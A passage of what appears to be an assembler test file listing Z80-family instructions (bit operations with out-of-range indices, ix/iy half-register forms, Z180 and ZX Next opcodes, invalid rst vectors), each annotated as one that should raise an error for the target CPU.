ioe altd bit -1, (iy-128) ; Error
ioe altd bit -1, (iy-128) ; Error
ioe altd bit 8, (hl) ; Error
ioe altd bit 8, (hl) ; Error
ioe altd bit 8, (ix) ; Error
ioe altd bit 8, (ix) ; Error
ioe altd bit 8, (ix+127) ; Error
ioe altd bit 8, (ix+127) ; Error
ioe altd bit 8, (ix-128) ; Error
ioe altd bit 8, (ix-128) ; Error
ioe altd bit 8, (iy) ; Error
ioe altd bit 8, (iy) ; Error
ioe altd bit 8, (iy+127) ; Error
ioe altd bit 8, (iy+127) ; Error
ioe altd bit 8, (iy-128) ; Error
ioe altd bit 8, (iy-128) ; Error
ioe bit -1, (hl) ; Error
ioe bit -1, (hl) ; Error
ioe bit -1, (ix) ; Error
ioe bit -1, (ix) ; Error
ioe bit -1, (ix+127) ; Error
ioe bit -1, (ix+127) ; Error
ioe bit -1, (ix-128) ; Error
ioe bit -1, (ix-128) ; Error
ioe bit -1, (iy) ; Error
ioe bit -1, (iy) ; Error
ioe bit -1, (iy+127) ; Error
ioe bit -1, (iy+127) ; Error
ioe bit -1, (iy-128) ; Error
ioe bit -1, (iy-128) ; Error
ioe bit 8, (hl) ; Error
ioe bit 8, (hl) ; Error
ioe bit 8, (ix) ; Error
ioe bit 8, (ix) ; Error
ioe bit 8, (ix+127) ; Error
ioe bit 8, (ix+127) ; Error
ioe bit 8, (ix-128) ; Error
ioe bit 8, (ix-128) ; Error
ioe bit 8, (iy) ; Error
ioe bit 8, (iy) ; Error
ioe bit 8, (iy+127) ; Error
ioe bit 8, (iy+127) ; Error
ioe bit 8, (iy-128) ; Error
ioe bit 8, (iy-128) ; Error
ioe res -1, (hl) ; Error
ioe res -1, (hl) ; Error
ioe res -1, (ix) ; Error
ioe res -1, (ix) ; Error
ioe res -1, (ix+127) ; Error
ioe res -1, (ix+127) ; Error
ioe res -1, (ix-128) ; Error
ioe res -1, (ix-128) ; Error
ioe res -1, (iy) ; Error
ioe res -1, (iy) ; Error
ioe res -1, (iy+127) ; Error
ioe res -1, (iy+127) ; Error
ioe res -1, (iy-128) ; Error
ioe res -1, (iy-128) ; Error
ioe res 8, (hl) ; Error
ioe res 8, (hl) ; Error
ioe res 8, (ix) ; Error
ioe res 8, (ix) ; Error
ioe res 8, (ix+127) ; Error
ioe res 8, (ix+127) ; Error
ioe res 8, (ix-128) ; Error
ioe res 8, (ix-128) ; Error
ioe res 8, (iy) ; Error
ioe res 8, (iy) ; Error
ioe res 8, (iy+127) ; Error
ioe res 8, (iy+127) ; Error
ioe res 8, (iy-128) ; Error
ioe res 8, (iy-128) ; Error
ioe set -1, (hl) ; Error
ioe set -1, (hl) ; Error
ioe set -1, (ix) ; Error
ioe set -1, (ix) ; Error
ioe set -1, (ix+127) ; Error
ioe set -1, (ix+127) ; Error
ioe set -1, (ix-128) ; Error
ioe set -1, (ix-128) ; Error
ioe set -1, (iy) ; Error
ioe set -1, (iy) ; Error
ioe set -1, (iy+127) ; Error
ioe set -1, (iy+127) ; Error
ioe set -1, (iy-128) ; Error
ioe set -1, (iy-128) ; Error
ioe set 8, (hl) ; Error
ioe set 8, (hl) ; Error
ioe set 8, (ix) ; Error
ioe set 8, (ix) ; Error
ioe set 8, (ix+127) ; Error
ioe set 8, (ix+127) ; Error
ioe set 8, (ix-128) ; Error
ioe set 8, (ix-128) ; Error
ioe set 8, (iy) ; Error
ioe set 8, (iy) ; Error
ioe set 8, (iy+127) ; Error
ioe set 8, (iy+127) ; Error
ioe set 8, (iy-128) ; Error
ioe set 8, (iy-128) ; Error
ioi altd bit -1, (hl) ; Error
ioi altd bit -1, (hl) ; Error
ioi altd bit -1, (ix) ; Error
ioi altd bit -1, (ix) ; Error
ioi altd bit -1, (ix+127) ; Error
ioi altd bit -1, (ix+127) ; Error
ioi altd bit -1, (ix-128) ; Error
ioi altd bit -1, (ix-128) ; Error
ioi altd bit -1, (iy) ; Error
ioi altd bit -1, (iy) ; Error
ioi altd bit -1, (iy+127) ; Error
ioi altd bit -1, (iy+127) ; Error
ioi altd bit -1, (iy-128) ; Error
ioi altd bit -1, (iy-128) ; Error
ioi altd bit 8, (hl) ; Error
ioi altd bit 8, (hl) ; Error
ioi altd bit 8, (ix) ; Error
ioi altd bit 8, (ix) ; Error
ioi altd bit 8, (ix+127) ; Error
ioi altd bit 8, (ix+127) ; Error
ioi altd bit 8, (ix-128) ; Error
ioi altd bit 8, (ix-128) ; Error
ioi altd bit 8, (iy) ; Error
ioi altd bit 8, (iy) ; Error
ioi altd bit 8, (iy+127) ; Error
ioi altd bit 8, (iy+127) ; Error
ioi altd bit 8, (iy-128) ; Error
ioi altd bit 8, (iy-128) ; Error
ioi bit -1, (hl) ; Error
ioi bit -1, (hl) ; Error
ioi bit -1, (ix) ; Error
ioi bit -1, (ix) ; Error
ioi bit -1, (ix+127) ; Error
ioi bit -1, (ix+127) ; Error
ioi bit -1, (ix-128) ; Error
ioi bit -1, (ix-128) ; Error
ioi bit -1, (iy) ; Error
ioi bit -1, (iy) ; Error
ioi bit -1, (iy+127) ; Error
ioi bit -1, (iy+127) ; Error
ioi bit -1, (iy-128) ; Error
ioi bit -1, (iy-128) ; Error
ioi bit 8, (hl) ; Error
ioi bit 8, (hl) ; Error
ioi bit 8, (ix) ; Error
ioi bit 8, (ix) ; Error
ioi bit 8, (ix+127) ; Error
ioi bit 8, (ix+127) ; Error
ioi bit 8, (ix-128) ; Error
ioi bit 8, (ix-128) ; Error
ioi bit 8, (iy) ; Error
ioi bit 8, (iy) ; Error
ioi bit 8, (iy+127) ; Error
ioi bit 8, (iy+127) ; Error
ioi bit 8, (iy-128) ; Error
ioi bit 8, (iy-128) ; Error
ioi res -1, (hl) ; Error
ioi res -1, (hl) ; Error
ioi res -1, (ix) ; Error
ioi res -1, (ix) ; Error
ioi res -1, (ix+127) ; Error
ioi res -1, (ix+127) ; Error
ioi res -1, (ix-128) ; Error
ioi res -1, (ix-128) ; Error
ioi res -1, (iy) ; Error
ioi res -1, (iy) ; Error
ioi res -1, (iy+127) ; Error
ioi res -1, (iy+127) ; Error
ioi res -1, (iy-128) ; Error
ioi res -1, (iy-128) ; Error
ioi res 8, (hl) ; Error
ioi res 8, (hl) ; Error
ioi res 8, (ix) ; Error
ioi res 8, (ix) ; Error
ioi res 8, (ix+127) ; Error
ioi res 8, (ix+127) ; Error
ioi res 8, (ix-128) ; Error
ioi res 8, (ix-128) ; Error
ioi res 8, (iy) ; Error
ioi res 8, (iy) ; Error
ioi res 8, (iy+127) ; Error
ioi res 8, (iy+127) ; Error
ioi res 8, (iy-128) ; Error
ioi res 8, (iy-128) ; Error
ioi set -1, (hl) ; Error
ioi set -1, (hl) ; Error
ioi set -1, (ix) ; Error
ioi set -1, (ix) ; Error
ioi set -1, (ix+127) ; Error
ioi set -1, (ix+127) ; Error
ioi set -1, (ix-128) ; Error
ioi set -1, (ix-128) ; Error
ioi set -1, (iy) ; Error
ioi set -1, (iy) ; Error
ioi set -1, (iy+127) ; Error
ioi set -1, (iy+127) ; Error
ioi set -1, (iy-128) ; Error
ioi set -1, (iy-128) ; Error
ioi set 8, (hl) ; Error
ioi set 8, (hl) ; Error
ioi set 8, (ix) ; Error
ioi set 8, (ix) ; Error
ioi set 8, (ix+127) ; Error
ioi set 8, (ix+127) ; Error
ioi set 8, (ix-128) ; Error
ioi set 8, (ix-128) ; Error
ioi set 8, (iy) ; Error
ioi set 8, (iy) ; Error
ioi set 8, (iy+127) ; Error
ioi set 8, (iy+127) ; Error
ioi set 8, (iy-128) ; Error
ioi set 8, (iy-128) ; Error
ipset -1 ; Error
ipset -1 ; Error
ipset 4 ; Error
ipset 4 ; Error
ld a, i ; Error
ld a, ixh ; Error
ld a, ixl ; Error
ld a, iyh ; Error
ld a, iyl ; Error
ld a, r ; Error
ld b, ixh ; Error
ld b, ixl ; Error
ld b, iyh ; Error
ld b, iyl ; Error
ld c, ixh ; Error
ld c, ixl ; Error
ld c, iyh ; Error
ld c, iyl ; Error
ld d, ixh ; Error
ld d, ixl ; Error
ld d, iyh ; Error
ld d, iyl ; Error
ld e, ixh ; Error
ld e, ixl ; Error
ld e, iyh ; Error
ld e, iyl ; Error
ld i, a ; Error
ld ixh, -128 ; Error
ld ixh, 127 ; Error
ld ixh, 255 ; Error
ld ixh, a ; Error
ld ixh, b ; Error
ld ixh, c ; Error
ld ixh, d ; Error
ld ixh, e ; Error
ld ixh, ixh ; Error
ld ixh, ixl ; Error
ld ixl, -128 ; Error
ld ixl, 127 ; Error
ld ixl, 255 ; Error
ld ixl, a ; Error
ld ixl, b ; Error
ld ixl, c ; Error
ld ixl, d ; Error
ld ixl, e ; Error
ld ixl, ixh ; Error
ld ixl, ixl ; Error
ld iyh, -128 ; Error
ld iyh, 127 ; Error
ld iyh, 255 ; Error
ld iyh, a ; Error
ld iyh, b ; Error
ld iyh, c ; Error
ld iyh, d ; Error
ld iyh, e ; Error
ld iyh, iyh ; Error
ld iyh, iyl ; Error
ld iyl, -128 ; Error
ld iyl, 127 ; Error
ld iyl, 255 ; Error
ld iyl, a ; Error
ld iyl, b ; Error
ld iyl, c ; Error
ld iyl, d ; Error
ld iyl, e ; Error
ld iyl, iyh ; Error
ld iyl, iyl ; Error
ld r, a ; Error
lddrx ; Error
lddx ; Error
ldirscale ; Error
ldirx ; Error
ldix ; Error
ldpirx ; Error
ldws ; Error
mirror a ; Error
mlt bc ; Error
mlt de ; Error
mlt hl ; Error
mlt sp ; Error
mmu -1, -128 ; Error
mmu -1, -128 ; Error
mmu -1, 127 ; Error
mmu -1, 127 ; Error
mmu -1, 255 ; Error
mmu -1, 255 ; Error
mmu -1, a ; Error
mmu -1, a ; Error
mmu 0, -128 ; Error
mmu 0, 127 ; Error
mmu 0, 255 ; Error
mmu 0, a ; Error
mmu 1, -128 ; Error
mmu 1, 127 ; Error
mmu 1, 255 ; Error
mmu 1, a ; Error
mmu 2, -128 ; Error
mmu 2, 127 ; Error
mmu 2, 255 ; Error
mmu 2, a ; Error
mmu 3, -128 ; Error
mmu 3, 127 ; Error
mmu 3, 255 ; Error
mmu 3, a ; Error
mmu 4, -128 ; Error
mmu 4, 127 ; Error
mmu 4, 255 ; Error
mmu 4, a ; Error
mmu 5, -128 ; Error
mmu 5, 127 ; Error
mmu 5, 255 ; Error
mmu 5, a ; Error
mmu 6, -128 ; Error
mmu 6, 127 ; Error
mmu 6, 255 ; Error
mmu 6, a ; Error
mmu 7, -128 ; Error
mmu 7, 127 ; Error
mmu 7, 255 ; Error
mmu 7, a ; Error
mmu 8, -128 ; Error
mmu 8, -128 ; Error
mmu 8, 127 ; Error
mmu 8, 127 ; Error
mmu 8, 255 ; Error
mmu 8, 255 ; Error
mmu 8, a ; Error
mmu 8, a ; Error
mmu0 -128 ; Error
mmu0 127 ; Error
mmu0 255 ; Error
mmu0 a ; Error
mmu1 -128 ; Error
mmu1 127 ; Error
mmu1 255 ; Error
mmu1 a ; Error
mmu2 -128 ; Error
mmu2 127 ; Error
mmu2 255 ; Error
mmu2 a ; Error
mmu3 -128 ; Error
mmu3 127 ; Error
mmu3 255 ; Error
mmu3 a ; Error
mmu4 -128 ; Error
mmu4 127 ; Error
mmu4 255 ; Error
mmu4 a ; Error
mmu5 -128 ; Error
mmu5 127 ; Error
mmu5 255 ; Error
mmu5 a ; Error
mmu6 -128 ; Error
mmu6 127 ; Error
mmu6 255 ; Error
mmu6 a ; Error
mmu7 -128 ; Error
mmu7 127 ; Error
mmu7 255 ; Error
mmu7 a ; Error
mul d, e ; Error
mul de ; Error
nextreg -128, -128 ; Error
nextreg -128, a ; Error
nextreg 127, 127 ; Error
nextreg 127, a ; Error
nextreg 255, 255 ; Error
nextreg 255, a ; Error
or a, ixh ; Error
or a, ixl ; Error
or a, iyh ; Error
or a, iyl ; Error
or ixh ; Error
or ixl ; Error
or iyh ; Error
or iyl ; Error
otdm ; Error
otdmr ; Error
otdr ; Error
otim ; Error
otimr ; Error
otir ; Error
out (-128), a ; Error
out (127), a ; Error
out (255), a ; Error
out (c), -1 ; Error
out (c), -1 ; Error
out (c), 0 ; Error
out (c), 1 ; Error
out (c), 1 ; Error
out (c), a ; Error
out (c), b ; Error
out (c), c ; Error
out (c), d ; Error
out (c), e ; Error
out (c), h ; Error
out (c), l ; Error
out0 (-128), a ; Error
out0 (-128), b ; Error
out0 (-128), c ; Error
out0 (-128), d ; Error
out0 (-128), e ; Error
out0 (-128), h ; Error
out0 (-128), l ; Error
out0 (127), a ; Error
out0 (127), b ; Error
out0 (127), c ; Error
out0 (127), d ; Error
out0 (127), e ; Error
out0 (127), h ; Error
out0 (127), l ; Error
out0 (255), a ; Error
out0 (255), b ; Error
out0 (255), c ; Error
out0 (255), d ; Error
out0 (255), e ; Error
out0 (255), h ; Error
out0 (255), l ; Error
outd ; Error
outi ; Error
outinb ; Error
pixelad ; Error
pixeldn ; Error
push -32768 ; Error
push 32767 ; Error
push 65535 ; Error
res -1, (hl) ; Error
res -1, (hl) ; Error
res -1, (ix) ; Error
res -1, (ix) ; Error
res -1, (ix+127) ; Error
res -1, (ix+127) ; Error
res -1, (ix-128) ; Error
res -1, (ix-128) ; Error
res -1, (iy) ; Error
res -1, (iy) ; Error
res -1, (iy+127) ; Error
res -1, (iy+127) ; Error
res -1, (iy-128) ; Error
res -1, (iy-128) ; Error
res -1, a ; Error
res -1, a ; Error
res -1, a' ; Error
res -1, a' ; Error
res -1, b ; Error
res -1, b ; Error
res -1, b' ; Error
res -1, b' ; Error
res -1, c ; Error
res -1, c ; Error
res -1, c' ; Error
res -1, c' ; Error
res -1, d ; Error
res -1, d ; Error
res -1, d' ; Error
res -1, d' ; Error
res -1, e ; Error
res -1, e ; Error
res -1, e' ; Error
res -1, e' ; Error
res -1, h ; Error
res -1, h ; Error
res -1, h' ; Error
res -1, h' ; Error
res -1, ixh ; Error
res -1, ixh ; Error
res -1, ixl ; Error
res -1, ixl ; Error
res -1, iyh ; Error
res -1, iyh ; Error
res -1, iyl ; Error
res -1, iyl ; Error
res -1, l ; Error
res -1, l ; Error
res -1, l' ; Error
res -1, l' ; Error
res 0, ixh ; Error
res 0, ixl ; Error
res 0, iyh ; Error
res 0, iyl ; Error
res 1, ixh ; Error
res 1, ixl ; Error
res 1, iyh ; Error
res 1, iyl ; Error
res 2, ixh ; Error
res 2, ixl ; Error
res 2, iyh ; Error
res 2, iyl ; Error
res 3, ixh ; Error
res 3, ixl ; Error
res 3, iyh ; Error
res 3, iyl ; Error
res 4, ixh ; Error
res 4, ixl ; Error
res 4, iyh ; Error
res 4, iyl ; Error
res 5, ixh ; Error
res 5, ixl ; Error
res 5, iyh ; Error
res 5, iyl ; Error
res 6, ixh ; Error
res 6, ixl ; Error
res 6, iyh ; Error
res 6, iyl ; Error
res 7, ixh ; Error
res 7, ixl ; Error
res 7, iyh ; Error
res 7, iyl ; Error
res 8, (hl) ; Error
res 8, (hl) ; Error
res 8, (ix) ; Error
res 8, (ix) ; Error
res 8, (ix+127) ; Error
res 8, (ix+127) ; Error
res 8, (ix-128) ; Error
res 8, (ix-128) ; Error
res 8, (iy) ; Error
res 8, (iy) ; Error
res 8, (iy+127) ; Error
res 8, (iy+127) ; Error
res 8, (iy-128) ; Error
res 8, (iy-128) ; Error
res 8, a ; Error
res 8, a ; Error
res 8, a' ; Error
res 8, a' ; Error
res 8, b ; Error
res 8, b ; Error
res 8, b' ; Error
res 8, b' ; Error
res 8, c ; Error
res 8, c ; Error
res 8, c' ; Error
res 8, c' ; Error
res 8, d ; Error
res 8, d ; Error
res 8, d' ; Error
res 8, d' ; Error
res 8, e ; Error
res 8, e ; Error
res 8, e' ; Error
res 8, e' ; Error
res 8, h ; Error
res 8, h ; Error
res 8, h' ; Error
res 8, h' ; Error
res 8, ixh ; Error
res 8, ixh ; Error
res 8, ixl ; Error
res 8, ixl ; Error
res 8, iyh ; Error
res 8, iyh ; Error
res 8, iyl ; Error
res 8, iyl ; Error
res 8, l ; Error
res 8, l ; Error
res 8, l' ; Error
res 8, l' ; Error
retn ; Error
rl (ix), a ; Error
rl (ix), b ; Error
rl (ix), c ; Error
rl (ix), d ; Error
rl (ix), e ; Error
rl (ix), h ; Error
rl (ix), l ; Error
rl (ix+127), a ; Error
rl (ix+127), b ; Error
rl (ix+127), c ; Error
rl (ix+127), d ; Error
rl (ix+127), e ; Error
rl (ix+127), h ; Error
rl (ix+127), l ; Error
rl (ix-128), a ; Error
rl (ix-128), b ; Error
rl (ix-128), c ; Error
rl (ix-128), d ; Error
rl (ix-128), e ; Error
rl (ix-128), h ; Error
rl (ix-128), l ; Error
rl (iy), a ; Error
rl (iy), b ; Error
rl (iy), c ; Error
rl (iy), d ; Error
rl (iy), e ; Error
rl (iy), h ; Error
rl (iy), l ; Error
rl (iy+127), a ; Error
rl (iy+127), b ; Error
rl (iy+127), c ; Error
rl (iy+127), d ; Error
rl (iy+127), e ; Error
rl (iy+127), h ; Error
rl (iy+127), l ; Error
rl (iy-128), a ; Error
rl (iy-128), b ; Error
rl (iy-128), c ; Error
rl (iy-128), d ; Error
rl (iy-128), e ; Error
rl (iy-128), h ; Error
rl (iy-128), l ; Error
rl ixh ; Error
rl ixl ; Error
rl iyh ; Error
rl iyl ; Error
rlc (ix), a ; Error
rlc (ix), b ; Error
rlc (ix), c ; Error
rlc (ix), d ; Error
rlc (ix), e ; Error
rlc (ix), h ; Error
rlc (ix), l ; Error
rlc (ix+127), a ; Error
rlc (ix+127), b ; Error
rlc (ix+127), c ; Error
rlc (ix+127), d ; Error
rlc (ix+127), e ; Error
rlc (ix+127), h ; Error
rlc (ix+127), l ; Error
rlc (ix-128), a ; Error
rlc (ix-128), b ; Error
rlc (ix-128), c ; Error
rlc (ix-128), d ; Error
rlc (ix-128), e ; Error
rlc (ix-128), h ; Error
rlc (ix-128), l ; Error
rlc (iy), a ; Error
rlc (iy), b ; Error
rlc (iy), c ; Error
rlc (iy), d ; Error
rlc (iy), e ; Error
rlc (iy), h ; Error
rlc (iy), l ; Error
rlc (iy+127), a ; Error
rlc (iy+127), b ; Error
rlc (iy+127), c ; Error
rlc (iy+127), d ; Error
rlc (iy+127), e ; Error
rlc (iy+127), h ; Error
rlc (iy+127), l ; Error
rlc (iy-128), a ; Error
rlc (iy-128), b ; Error
rlc (iy-128), c ; Error
rlc (iy-128), d ; Error
rlc (iy-128), e ; Error
rlc (iy-128), h ; Error
rlc (iy-128), l ; Error
rlc ixh ; Error
rlc ixl ; Error
rlc iyh ; Error
rlc iyl ; Error
rr (ix), a ; Error
rr (ix), b ; Error
rr (ix), c ; Error
rr (ix), d ; Error
rr (ix), e ; Error
rr (ix), h ; Error
rr (ix), l ; Error
rr (ix+127), a ; Error
rr (ix+127), b ; Error
rr (ix+127), c ; Error
rr (ix+127), d ; Error
rr (ix+127), e ; Error
rr (ix+127), h ; Error
rr (ix+127), l ; Error
rr (ix-128), a ; Error
rr (ix-128), b ; Error
rr (ix-128), c ; Error
rr (ix-128), d ; Error
rr (ix-128), e ; Error
rr (ix-128), h ; Error
rr (ix-128), l ; Error
rr (iy), a ; Error
rr (iy), b ; Error
rr (iy), c ; Error
rr (iy), d ; Error
rr (iy), e ; Error
rr (iy), h ; Error
rr (iy), l ; Error
rr (iy+127), a ; Error
rr (iy+127), b ; Error
rr (iy+127), c ; Error
rr (iy+127), d ; Error
rr (iy+127), e ; Error
rr (iy+127), h ; Error
rr (iy+127), l ; Error
rr (iy-128), a ; Error
rr (iy-128), b ; Error
rr (iy-128), c ; Error
rr (iy-128), d ; Error
rr (iy-128), e ; Error
rr (iy-128), h ; Error
rr (iy-128), l ; Error
rr ixh ; Error
rr ixl ; Error
rr iyh ; Error
rr iyl ; Error
rrc (ix), a ; Error
rrc (ix), b ; Error
rrc (ix), c ; Error
rrc (ix), d ; Error
rrc (ix), e ; Error
rrc (ix), h ; Error
rrc (ix), l ; Error
rrc (ix+127), a ; Error
rrc (ix+127), b ; Error
rrc (ix+127), c ; Error
rrc (ix+127), d ; Error
rrc (ix+127), e ; Error
rrc (ix+127), h ; Error
rrc (ix+127), l ; Error
rrc (ix-128), a ; Error
rrc (ix-128), b ; Error
rrc (ix-128), c ; Error
rrc (ix-128), d ; Error
rrc (ix-128), e ; Error
rrc (ix-128), h ; Error
rrc (ix-128), l ; Error
rrc (iy), a ; Error
rrc (iy), b ; Error
rrc (iy), c ; Error
rrc (iy), d ; Error
rrc (iy), e ; Error
rrc (iy), h ; Error
rrc (iy), l ; Error
rrc (iy+127), a ; Error
rrc (iy+127), b ; Error
rrc (iy+127), c ; Error
rrc (iy+127), d ; Error
rrc (iy+127), e ; Error
rrc (iy+127), h ; Error
rrc (iy+127), l ; Error
rrc (iy-128), a ; Error
rrc (iy-128), b ; Error
rrc (iy-128), c ; Error
rrc (iy-128), d ; Error
rrc (iy-128), e ; Error
rrc (iy-128), h ; Error
rrc (iy-128), l ; Error
rrc ixh ; Error
rrc ixl ; Error
rrc iyh ; Error
rrc iyl ; Error
rst -1 ; Error
rst -1 ; Error
rst 10 ; Error
rst 10 ; Error
rst 11 ; Error
rst 11 ; Error
rst 12 ; Error
rst 12 ; Error
rst 13 ; Error
rst 13 ; Error
rst 14 ; Error
rst 14 ; Error
rst 15 ; Error
rst 15 ; Error
rst 17 ; Error
rst 17 ; Error
rst 18 ; Error
rst 18 ; Error
rst 19 ; Error
rst 19 ; Error
rst 20 ; Error
rst 20 ; Error
rst 21 ; Error
rst 21 ; Error
rst 22 ; Error
rst 22 ; Error
rst 23 ; Error
rst 23 ; Error
rst 25 ; Error
rst 25 ; Error
rst 26 ; Error
rst 26 ; Error
rst 27 ; Error
rst 27 ; Error
rst 28 ; Error
rst 28 ; Error
rst 29 ; Error
rst 29 ; Error
rst 30 ; Error
rst 30 ; Error
rst 31 ; Error
rst 31 ; Error
rst 33 ; Error
rst 33 ; Error
rst 34 ; Error
rst 34 ; Error
rst 35 ; Error
rst 35 ; Error
rst 36 ; Error
rst 36 ; Error
rst 37 ; Error
rst 37 ; Error
rst 38 ; Error
rst 38 ; Error
rst 39 ; Error
rst 39 ; Error
rst 41 ; Error
rst 41 ; Error
rst 42 ; Error
rst 42 ; Error
rst 43 ; Error
rst 43 ; Error
rst 44 ; Error
rst 44 ; Error
rst 45 ; Error
rst 45 ; Error
rst 46 ; Error
rst 46 ; Error
rst 47 ; Error
rst 47 ; Error
rst 49 ; Error
rst 49 ; Error
rst 50 ; Error
rst 50 ; Error
rst 51 ; Error
rst 51 ; Error
rst 52 ; Error
rst 52 ; Error
rst 53 ; Error
rst 53 ; Error
rst 54 ; Error
rst 54 ; Error
rst 55 ; Error
rst 55 ; Error
rst 57 ; Error
rst 57 ; Error
rst 58 ; Error
rst 58 ; Error
rst 59 ; Error
rst 59 ; Error
rst 60 ; Error
rst 60 ; Error
rst 61 ; Error
rst 61 ; Error
rst 62 ; Error
rst 62 ; Error
rst 63 ; Error
rst 63 ; Error
rst 64 ; Error
rst 64 ; Error
rst 9 ; Error
rst 9 ; Error
sbc a, ixh ; Error
sbc a, ixl ; Error
sbc a, iyh ; Error
sbc a, iyl ; Error
sbc ixh ; Error
sbc ixl ; Error
sbc iyh ; Error
sbc iyl ; Error
set -1, (hl) ; Error
set -1, (hl) ; Error
set -1, (ix) ; Error
set -1, (ix) ; Error
set -1, (ix+127) ; Error
set -1, (ix+127) ; Error
set -1, (ix-128) ; Error
set -1, (ix-128) ; Error
set -1, (iy) ; Error
set -1, (iy) ; Error
set -1, (iy+127) ; Error
set -1, (iy+127) ; Error
set -1, (iy-128) ; Error
set -1, (iy-128) ; Error
set -1, a ; Error
set -1, a ; Error
set -1, a' ; Error
set -1, a' ; Error
set -1, b ; Error
set -1, b ; Error
set -1, b' ; Error
set -1, b' ; Error
set -1, c ; Error
set -1, c ; Error
set -1, c' ; Error
set -1, c' ; Error
set -1, d ; Error
set -1, d ; Error
set -1, d' ; Error
set -1, d' ; Error
set -1, e ; Error
set -1, e ; Error
set -1, e' ; Error
set -1, e' ; Error
set -1, h ; Error
set -1, h ; Error
set -1, h' ; Error
set -1, h' ; Error
set -1, ixh ; Error
set -1, ixh ; Error
set -1, ixl ; Error
set -1, ixl ; Error
set -1, iyh ; Error
set -1, iyh ; Error
set -1, iyl ; Error
set -1, iyl ; Error
set -1, l ; Error
set -1, l ; Error
set -1, l' ; Error
set -1, l' ; Error
set 0, ixh ; Error
set 0, ixl ; Error
set 0, iyh ; Error
set 0, iyl ; Error
set 1, ixh ; Error
set 1, ixl ; Error
set 1, iyh ; Error
set 1, iyl ; Error
set 2, ixh ; Error
set 2, ixl ; Error
set 2, iyh ; Error
set 2, iyl ; Error
set 3, ixh ; Error
set 3, ixl ; Error
set 3, iyh ; Error
set 3, iyl ; Error
set 4, ixh ; Error
set 4, ixl ; Error
set 4, iyh ; Error
set 4, iyl ; Error
set 5, ixh ; Error
set 5, ixl ; Error
set 5, iyh ; Error
set 5, iyl ; Error
set 6, ixh ; Error
set 6, ixl ; Error
set 6, iyh ; Error
set 6, iyl ; Error
set 7, ixh ; Error
set 7, ixl ; Error
set 7, iyh ; Error
set 7, iyl ; Error
set 8, (hl) ; Error
set 8, (hl) ; Error
set 8, (ix) ; Error
set 8, (ix) ; Error
set 8, (ix+127) ; Error
set 8, (ix+127) ; Error
set 8, (ix-128) ; Error
set 8, (ix-128) ; Error
set 8, (iy) ; Error
set 8, (iy) ; Error
set 8, (iy+127) ; Error
set 8, (iy+127) ; Error
set 8, (iy-128) ; Error
set 8, (iy-128) ; Error
set 8, a ; Error
set 8, a ; Error
set 8, a' ; Error
set 8, a' ; Error
set 8, b ; Error
set 8, b ; Error
set 8, b' ; Error
set 8, b' ; Error
set 8, c ; Error
set 8, c ; Error
set 8, c' ; Error
set 8, c' ; Error
set 8, d ; Error
set 8, d ; Error
set 8, d' ; Error
set 8, d' ; Error
set 8, e ; Error
set 8, e ; Error
set 8, e' ; Error
set 8, e' ; Error
set 8, h ; Error
set 8, h ; Error
set 8, h' ; Error
set 8, h' ; Error
set 8, ixh ; Error
set 8, ixh ; Error
set 8, ixl ; Error
set 8, ixl ; Error
set 8, iyh ; Error
set 8, iyh ; Error
set 8, iyl ; Error
set 8, iyl ; Error
set 8, l ; Error
set 8, l ; Error
set 8, l' ; Error
set 8, l' ; Error
setae ; Error
sla (ix), a ; Error
sla (ix), b ; Error
sla (ix), c ; Error
sla (ix), d ; Error
sla (ix), e ; Error
sla (ix), h ; Error
sla (ix), l ; Error
sla (ix+127), a ; Error
sla (ix+127), b ; Error
sla (ix+127), c ; Error
sla (ix+127), d ; Error
sla (ix+127), e ; Error
sla (ix+127), h ; Error
sla (ix+127), l ; Error
sla (ix-128), a ; Error
sla (ix-128), b ; Error
sla (ix-128), c ; Error
sla (ix-128), d ; Error
sla (ix-128), e ; Error
sla (ix-128), h ; Error
sla (ix-128), l ; Error
sla (iy), a ; Error
sla (iy), b ; Error
sla (iy), c ; Error
sla (iy), d ; Error
sla (iy), e ; Error
sla (iy), h ; Error
sla (iy), l ; Error
sla (iy+127), a ; Error
sla (iy+127), b ; Error
sla (iy+127), c ; Error
sla (iy+127), d ; Error
sla (iy+127), e ; Error
sla (iy+127), h ; Error
sla (iy+127), l ; Error
sla (iy-128), a ; Error
sla (iy-128), b ; Error
sla (iy-128), c ; Error
sla (iy-128), d ; Error
sla (iy-128), e ; Error
sla (iy-128), h ; Error
sla (iy-128), l ; Error
sla ixh ; Error
sla ixl ; Error
sla iyh ; Error
sla iyl ; Error
sli (hl) ; Error
sli (ix) ; Error
sli (ix), a ; Error
sli (ix), b ; Error
sli (ix), c ; Error
sli (ix), d ; Error
sli (ix), e ; Error
sli (ix), h ; Error
sli (ix), l ; Error
sli (ix+127) ; Error
sli (ix+127), a ; Error
sli (ix+127), b ; Error
sli (ix+127), c ; Error
sli (ix+127), d ; Error
sli (ix+127), e ; Error
sli (ix+127), h ; Error
sli (ix+127), l ; Error
sli (ix-128) ; Error
sli (ix-128), a ; Error
sli (ix-128), b ; Error
sli (ix-128), c ; Error
sli (ix-128), d ; Error
sli (ix-128), e ; Error
sli (ix-128), h ; Error
sli (ix-128), l ; Error
sli (iy) ; Error
sli (iy), a ; Error
sli (iy), b ; Error
sli (iy), c ; Error
sli (iy), d ; Error
sli (iy), e ; Error
sli (iy), h ; Error
sli (iy), l ; Error
sli (iy+127) ; Error
sli (iy+127), a ; Error
sli (iy+127), b ; Error
sli (iy+127), c ; Error
sli (iy+127), d ; Error
sli (iy+127), e ; Error
sli (iy+127), h ; Error
sli (iy+127), l ; Error
sli (iy-128) ; Error
sli (iy-128), a ; Error
sli (iy-128), b ; Error
sli (iy-128), c ; Error
sli (iy-128), d ; Error
sli (iy-128), e ; Error
sli (iy-128), h ; Error
sli (iy-128), l ; Error
sli a ; Error
sli b ; Error
sli c ; Error
sli d ; Error
sli e ; Error
sli h ; Error
sli ixh ; Error
sli ixl ; Error
sli iyh ; Error
sli iyl ; Error
sli l ; Error
sll (hl) ; Error
sll (ix) ; Error
sll (ix), a ; Error
sll (ix), b ; Error
sll (ix), c ; Error
sll (ix), d ; Error
sll (ix), e ; Error
sll (ix), h ; Error
sll (ix), l ; Error
sll (ix+127) ; Error
sll (ix+127), a ; Error
sll (ix+127), b ; Error
sll (ix+127), c ; Error
sll (ix+127), d ; Error
sll (ix+127), e ; Error
sll (ix+127), h ; Error
sll (ix+127), l ; Error
sll (ix-128) ; Error
sll (ix-128), a ; Error
sll (ix-128), b ; Error
sll (ix-128), c ; Error
sll (ix-128), d ; Error
sll (ix-128), e ; Error
sll (ix-128), h ; Error
sll (ix-128), l ; Error
sll (iy) ; Error
sll (iy), a ; Error
sll (iy), b ; Error
sll (iy), c ; Error
sll (iy), d ; Error
